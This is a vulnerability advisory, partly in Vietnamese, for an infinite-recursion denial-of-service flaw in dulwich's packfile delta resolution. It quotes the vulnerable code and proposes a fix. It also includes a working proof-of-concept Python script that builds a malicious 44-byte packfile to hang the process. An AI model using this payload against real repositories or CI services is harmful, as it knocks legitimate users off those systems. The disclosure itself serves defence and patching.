| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| dulwich | < 1.2.9 | 1.2.9 |
dulwich/pack.py (Method: Pack.resolve_object)A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.
If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.
Vulnerable Code Breakdown (dulwich/pack.py):
elif obj_type == OFS_DELTA:
delta_offset = parse_pack_object_offset_at(...)
base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0
base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion
An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).
dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.The following Python script generates a 44-byte packfile that triggers the loop:
from dulwich.pack import Pack
import struct, zlib, tempfile, os
# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body
pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)
fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)
# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]
Pack.resolve_object to reject delta_offset == 0:
if delta_offset == 0:
raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí